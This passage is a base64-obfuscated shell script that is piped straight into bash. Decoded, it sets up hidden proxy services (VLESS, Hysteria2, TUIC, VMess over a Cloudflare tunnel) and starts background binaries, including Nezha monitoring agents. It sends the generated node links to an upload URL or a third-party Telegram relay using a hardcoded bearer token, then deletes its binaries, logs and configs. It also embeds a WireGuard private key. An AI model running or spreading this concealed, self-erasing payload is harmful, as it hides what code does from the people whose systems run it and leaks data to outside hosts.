KICAgICAgICAia2V5X3BhdGgiOiAiJyR7RklMRV9QQVRIfScvcHJpdmF0ZS5rZXkiCiAgICAgIH0KICAgIH0nOyBmaSkkKGlmIFsgIiRIWTJfUE9SVCIgIT0gIiIgXTsgdGhlbiBlY2hvICcsCiAgICB7CiAgICAgICJ0YWciOiAiaHlzdGVyaWEyLWluIiwKICAgICAgInR5cGUiOiAiaHlzdGVyaWEyIiwKICAgICAgImxpc3RlbiI6ICI6OiIsCiAgICAgICJsaXN0ZW5fcG9ydCI6ICcke0hZMl9QT1JUfScsCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIicke1VVSUR9JyIKICAgICAgICAgIH0KICAgICAgXSwKICAgICAgIm1hc3F1ZXJhZGUiOiAiaHR0cHM6Ly9iaW5nLmNvbSIsCiAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICAgICAiYWxwbiI6IFsKICAgICAgICAgICAgICAgICJoMyIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiJyR7RklMRV9QQVRIfScvY2VydC5wZW0iLAogICAgICAgICAgICAia2V5X3BhdGgiOiAiJyR7RklMRV9QQVRIfScvcHJpdmF0ZS5rZXkiCiAgICAgICAgICB9CiAgICAgIH0nOyBmaSkkKGlmIFsgIiRSRUFMSVRZX1BPUlQiICE9ICIiIF07IHRoZW4gZWNobyAnLAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICcke1JFQUxJVFlfUE9SVH0nLAogICAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICJ1dWlkIjogIickVVVJRCciLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJyRwcml2YXRlX2tleSciLAogICAgICAgICAgICAgICAgICAic2hvcnRfaWQiOiBbCiAgICAgICAgICAgICAgICAgICAgIiIKICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgfSc7IGZpKQogICBdLAogICJlbmRwb2ludHMiOiBbCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2FycC1vdXQiLAogICAgICAibXR1IjogMTI4MCwKICAgICAgImFkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhkZmU6ZDE0MTo2OWJiOjZiODA6OTI1LzEyOCIKICAgICAgXSwKICAgICAgInByaXZhdGVfa2V5IjogIllGWU9BZGJ3MWJLVEhsTk5pK2FFakJNM0JPN3VudUZDNXJPa01SQXo5WFk9IiwKICAgICAgInBlZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJhZGRyZXNzIjogImVuZ2FnZS5jbG91ZGZsYXJlY2xpZW50LmNvbSIsCiAgICAgICAgICAicG9ydCI6IDI0MDgsCiAgICAgICAgICAicHVibGljX2tleSI6ICJibVhPQytGMUZ4RU1GOWR5aUsySDUvMVNVdHpIMEp1Vm81MWgyd1BmZ3lvPSIsCiAgICAgICAgICAiYWxsb3dlZF9pcHMiOiBbCiAgICAgICAgICAgICIwLjAuMC4wLzAiLAogICAgICAgICAgICAiOjovMCIKICAgICAgICAgIF0sCiAgICAgICAgICAicmVzZXJ2ZWQiOiBbCiAgICAgICAgICAgIDc4LAogICAgICAgICAgICAxMzUsCiAgICAgICAgICAgIDc2CiAgICAgICAgICBdCiAgICAgICAgfQogICAgICBdCiAgICB9CiAgXSwKICAib3V0Ym91bmRzIjogWwogICAgeyAidHlwZSI6ICJkaXJlY3QiLCAidGFnIjogImRpcmVjdCIgfQogIF0sCiAgInJvdXRlIjogewogICAgInJ1bGVfc2V0IjogWwogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby1saXRlL2dlb3NpdGUvb3BlbmFpLnNycyIsCiAgICAgICAgImRvd25sb2FkX2RldG91ciI6ICJkaXJlY3QiCiAgICAgIH0sCiAgICAgIHsKICAgICAgICAidGFnIjogIm5ldGZsaXgiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby1saXRlL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7ICJhY3Rpb24iOiAic25pZmYiIH0sCiAgICAgIHsgInJ1bGVfc2V0IjogWyJvcGVuYWkiLCAibmV0ZmxpeCJdLCAib3V0Ym91bmQiOiAid2FycC1vdXQiIH0KICAgIF0sCiAgICAiZmluYWwiOiAiZGlyZWN0IgogIH0KfQpFT0YKCmlmIFsgLWUgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFt3ZWJdfSkiIHJ1biAtYyAke0ZJTEVfUEFUSH0vY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbICIkRElTQUJMRV9BUkdPIiA9PSAnZmFsc2UnIF07IHRoZW4KICBpZiBbIC1lICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW2JvdF19KSIgXTsgdGhlbgogICAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1uby1hdXRvdXBkYXRlIC0tcHJvdG9jb2wgaHR0cDIgcnVuIC0tdG9rZW4gJHtBUkdPX0FVVEh9IgogICAgICBlbGlmIFtbICRBUkdPX0FVVEggPX4gVHVubmVsU2VjcmV0IF1dOyB0aGVuCiAgICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgJHtGSUxFX1BBVEh9L3R1bm5lbC55bWwgcnVuIgogICAgICBlbHNlCiAgICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1uby1hdXRvdXBkYXRlIC0tcHJvdG9jb2wgaHR0cDIgLS1sb2dmaWxlICR7RklMRV9QQVRIfS9ib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgICBmaQogICAgICBub2h1cCAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICAgIHNsZWVwIDIKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIGlzIHJ1bm5pbmdcZVswbSIgCiAgZmkKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIF07IHRoZW4KICAgICAgdGxzUG9ydHM9KCI0NDMiICI4NDQzIiAiMjA5NiIgIjIwODciICIyMDgzIiAiMjA1MyIpCiAgICAgIFtbICIke3Rsc1BvcnRzWypdfSIgPX4gIiR7TkVaSEFfUE9SVH0iIF1dICYmIE5FWkhBX1RMUz0iLS10bHMiIHx8IE5FWkhBX1RMUz0iIgogICAgICBleHBvcnQgVE1QRElSPSQocHdkKQogICAgICBub2h1cCAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIiBdOyB0aGVuCiAgICAgIG5vaHVwICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0ke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSBpcyBydW5uaW5nXGVbMG0iCiAgICBmaQplbHNlCiAgICBlY2hvIC1lICJcZVsxOzM1bU5FWkhBIHZhcmlhYmxlIGlzIGVtcHR5LCBza2lwIHJ1bm5pbmdcZVswbSIKZmkKCmZvciBrZXkgaW4gIiR7IUZJTEVfTUFQW0BdfSI7IGRvCiAgICBpZiBbIC1lICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQWyRrZXldfSkiIF07IHRoZW4KICAgICAgICBybSAtcmYgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CmlmIFsgIiRESVNBQkxFX0FSR08iID09ICdmYWxzZScgXTsgdGhlbgogIGlmIFtbIC1uICRBUkdPX0FVVEggXV07IHRoZW4KICAgIGVjaG8gIiRBUkdPX0RPTUFJTiIKICBlbHNlCiAgICBsb2NhbCByZXRyeT0wCiAgICBsb2NhbCBtYXhfcmV0cmllcz04CiAgICBsb2NhbCBhcmdvZG9tYWluPSIiCiAgICB3aGlsZSBbWyAkcmV0cnkgLWx0ICRtYXhfcmV0cmllcyBdXTsgZG8KICAgICAgKChyZXRyeSsrKSkKICAgICAgYXJnb2RvbWFpbj0kKHNlZCAtbiAnc3wuKmh0dHBzOi8vXChbXi9dKnRyeWNsb3VkZmxhcmVcLmNvbVwpLip8XDF8cCcgJHtGSUxFX1BBVEh9L2Jvb3QubG9nKQogICAgICBpZiBbWyAtbiAkYXJnb2RvbWFpbiBdXTsgdGhlbgogICAgICAgIGJyZWFrCiAgICAgIGZpCiAgICAgIHNsZWVwIDEKICAgIGRvbmUKICAgIGVjaG8gIiRhcmdvZG9tYWluIgogIGZpCmZpCn0KCnNlbmRfdGVsZWdyYW0oKSB7CiAgWyAtZiAiJHtGSUxFX1BBVEh9L3N1Yi50eHQiIF0gfHwgcmV0dXJuCiAgTUVTU0FHRT0kKGNhdCAiJHtGSUxFX1BBVEh9L3N1Yi50eHQiKQogIExPQ0FMX01FU1NBR0U9Iioke05BTUV96IqC54K55o6o6YCB6YCa55+lKlxgXGBcYCR7TUVTU0FHRX1cYFxgXGAiCiAgQk9UX01FU1NBR0U9IjxiPiR7TkFNRX3oioLngrnmjqjpgIHpgJrnn6U8L2I+XG48cHJlPiR7TUVTU0FHRX08L3ByZT4iCiAgaWYgWyAtbiAiJHtCT1RfVE9LRU59IiBdICYmIFsgLW4gIiR7Q0hBVF9JRH0iIF07IHRoZW4KICAgIGN1cmwgLXMgLVggUE9TVCAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCR7Qk9UX1RPS0VOfS9zZW5kTWVzc2FnZSIgXAogICAgICAtZCAiY2hhdF9pZD0ke0NIQVRfSUR9JnRleHQ9JHtMT0NBTF9NRVNTQUdFfSZwYXJzZV9tb2RlPU1hcmtkb3duIiA+IC9kZXYvbnVsbAoKICBlbGlmIFsgLW4gIiR7Q0hBVF9JRH0iIF07IHRoZW4KICAgIGN1cmwgLXMgLVggUE9TVCAiaHR0cDovL2FwaS50Zy5ndnJhbmRlci5ldS5vcmcvYXBpL25vdGlmeSIgXAogICAgICAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyIGVKV1JneEM0TGN6bktMaVVpRG9Vc3dAbk1nREJDQ1NVazZJdzBTOVBicyIgXAogICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgIC1kICIkKHByaW50ZiAneyJjaGF0X2lkIjogIiVzIiwgIm1lc3NhZ2UiOiAiJXMifScgIiR7Q0hBVF9JRH0iICIke0JPVF9NRVNTQUdFfSIpIiA+IC9kZXYvbnVsbAogIGVsc2UKICAgIGVjaG8gLWUgIlxuXGVbMTszNW1URyB2YXJpYWJsZSBpcyBlbXB0eSxza2lwIHNlbnRcZVswbSIKICAgIHJldHVybgogIGZpCgogIGlmIFsgJD8gLWVxIDAgXTsgdGhlbgogICAgZWNobyAtZSAiXG5cZVsxOzMybU5vZGVzIHNlbnQgdG8gVEcgc3VjY2Vzc2Z1bGx5XGVbMG0iCiAgZWxzZQogICAgZWNobyAtZSAiXG5cZVsxOzMxbUZhaWxlZCB0byBzZW5kIG5vZGVzIHRvIFRHXGVbMG0iCiAgZmkKfQoKdXBsb2Rfbm9kZXMoKSB7CiAgICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vbGlzdC50eHQiIF1dICYmIHJldHVybgogICAgY29udGVudD0kKGNhdCAke0ZJTEVfUEFUSH0vbGlzdC50eHQpCiAgICBub2Rlcz0kKGVjaG8gIiRjb250ZW50IiB8IGdyZXAgLUUgJyh2bGVzc3x2bWVzc3x0cm9qYW58aHlzdGVyaWEyfHR1aWMpOi8vJykKICAgIFtbIC16ICRub2RlcyBdXSAmJiByZXR1cm4KICAgIG5vZGVzPSgkbm9kZXMpCiAgICBqc29uX2RhdGE9J3sibm9kZXMiOiBbJwogICAgZm9yIG5vZGUgaW4gIiR7bm9kZXNbQF19IjsgZG8KICAgICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogICAgZG9uZQogICAganNvbl9kYXRhPSR7anNvbl9kYXRhJSx9CiAgICBqc29uX2RhdGErPSddfScKCiAgICBjdXJsIC1YIFBPU1QgIiRVUExPQURfVVJML2FwaS9hZGQtbm9kZXMiIFwKICAgICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQoKICAgIGlmIFtbICQ/IC1lcSAwIF1dOyB0aGVuCiAgICAgICAgZWNobyAtZSAiXDAzM1sxOzMybU5vZGVzIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseVwwMzNbMG0iCiAgICBlbHNlCiAgICAgICAgZWNobyAtZSAiXDAzM1sxOzMxbUZhaWxlZCB0byB1cGxvYWQgbm9kZXNcMDMzWzBtIgogICAgZmkKfQoKYXJnb2RvbWFpbj0kKGdldF9hcmdvZG9tYWluKQpbICIkRElTQUJMRV9BUkdPIiA9PSAnZmFsc2UnIF0gJiYgZWNobyAtZSAiXGVbMTszMm1BcmdvRG9tYWluOlxlWzE7MzVtJHthcmdvZG9tYWlufVxlWzBtXG4iCnNsZWVwIDEKSVA9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBpcHY0LmlwLnNiIHx8IGN1cmwgLXMgLS1tYXgtdGltZSAxIGFwaS5pcGlmeS5vcmcgfHwgeyBpcHY2PSQoY3VybCAtcyAtLW1heC10aW1lIDEgaXB2Ni5pcC5zYik7IGVjaG8gIlskaXB2Nl0iOyB9IHx8IGVjaG8gIlhYWCIpCklTUD0kKGN1cmwgLXMgLS1tYXgtdGltZSAyIGh0dHBzOi8vc3BlZWQuY2xvdWRmbGFyZS5jb20vbWV0YSB8IGF3ayAtRlwiICd7cHJpbnQgJDI2Ii0iJDE4fScgfCBzZWQgLWUgJ3MvIC9fL2cnIHx8IGVjaG8gIjAuMCIpCmNvc3RvbV9uYW1lKCkgeyBpZiBbIC1uICIkTkFNRSIgXTsgdGhlbiBlY2hvICIke05BTUV9XyR7SVNQfSI7IGVsc2UgZWNobyAiJHtJU1B9IjsgZmk7IH0KClZNRVNTPSJ7IFwidlwiOiBcIjJcIiwgXCJwc1wiOiBcIiQoY29zdG9tX25hbWUpXCIsIFwiYWRkXCI6IFwiJHtDRklQfVwiLCBcInBvcnRcIjogXCIke0NGUE9SVH1cIiwgXCJpZFwiOiBcIiR7VVVJRH1cIiwgXCJhaWRcIjogXCIwXCIsIFwic2N5XCI6IFwiYXV0b1wiLCBcIm5ldFwiOiBcIndzXCIsIFwidHlwZVwiOiBcIm5vbmVcIiwgXCJob3N0XCI6IFwiJHthcmdvZG9tYWlufVwiLCBcInBhdGhcIjogXCIvdm1lc3MtYXJnbz9lZD0yNTYwXCIsIFwidGxzXCI6IFwidGxzXCIsIFwic25pXCI6IFwiJHthcmdvZG9tYWlufVwiLCBcImFscG5cIjogXCJcIiwgXCJmcFwiOiBcImZpcmVmb3hcIn0iCgppZiBbICIkRElTQUJMRV9BUkdPIiA9PSAnZmFsc2UnIF07IHRoZW4KY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IHwgdHIgLWQgJ1xuJykKRU9GCmZpCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiIiBdOyB0aGVuCiAgZWNobyAtZSAiXG50dWljOi8vJHtVVUlEfTphZG1pbkAke0lQfToke1RVSUNfUE9SVH0/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmNvbmdlc3Rpb25fY29udHJvbD1iYnIjJChjb3N0b21fbmFtZSkiID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJEhZMl9QT1JUIiAhPSAiIiBdOyB0aGVuCiAgZWNobyAtZSAiXG5oeXN0ZXJpYTI6Ly8ke1VVSUR9QCR7SVB9OiR7SFkyX1BPUlR9Lz9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmaW5zZWN1cmU9MSMkKGNvc3RvbV9uYW1lKSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkUkVBTElUWV9QT1JUIiAhPSAiIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWZpcmVmb3gmcGJrPSR7cHVibGljX2tleX0mdHlwZT10Y3AmaGVhZGVyVHlwZT1ub25lIyQoY29zdG9tX25hbWUpIiA+PiAke0ZJTEVfUEFUSH0vbGlzdC50eHQKZmkKCmJhc2U2NCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgfCB0ciAtZCAnXG4nID4gJHtGSUxFX1BBVEh9L3N1Yi50eHQKY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dAplY2hvIC1lICJcblxuXGVbMTszMm0ke0ZJTEVfUEFUSH0vc3ViLnR4dCBzYXZlZCBzdWNjZXNzZnVsbHlcZVswbSIKdXBsb2Rfbm9kZXMKc2VuZF90ZWxlZ3JhbQplY2hvIC1lICJcblxlWzE7MzJtUnVubmluZyBkb25lIVxlWzBtXG4iCnNsZWVwIDMgCgpybSAtcmYgZmFrZV91c2VyYWdlbnRfMC4yLjAuanNvbiAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uICR7RklMRV9QQVRIfS9zYi5sb2cgJHtGSUxFX1BBVEh9L2NvcmUgJHtGSUxFX1BBVEh9L2Zha2VfdXNlcmFnZW50XzAuMi4wLmpzb24gJHtGSUxFX1BBVEh9L2xpc3QudHh0ICR7RklMRV9QQVRIfS90dW5uZWwuanNvbiAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCA+L2Rldi9udWxsIDI+JjEKZWNobyAtZSAiXGVbMTszMm1UZWxlZ3Jhbee+pOe7hO+8mlxlWzE7MzVtaHR0cHM6Ly90Lm1lL2Vvb2NldVxlWzBtIgplY2hvIC1lICJcZVsxOzMybVlvdXR1YmXpopHpgZPvvJpcZVsxOzM1bWh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0Blb29jZVxlWzBtIgplY2hvIC1lICJcZVsxOzMybeatpOiEmuacrOeUseiAgeeOi+e8luivkTogXGVbMTszNW1HaXRodWLvvJpodHRwczovL2dpdGh1Yi5jb20vZW9vY2VcZVswbVxuIgpzbGVlcCA1CmNsZWFy" | base64 -d | bash # tail -f /dev/null # 若只单独运行此文件并希望保持运行,去掉此行开头的#号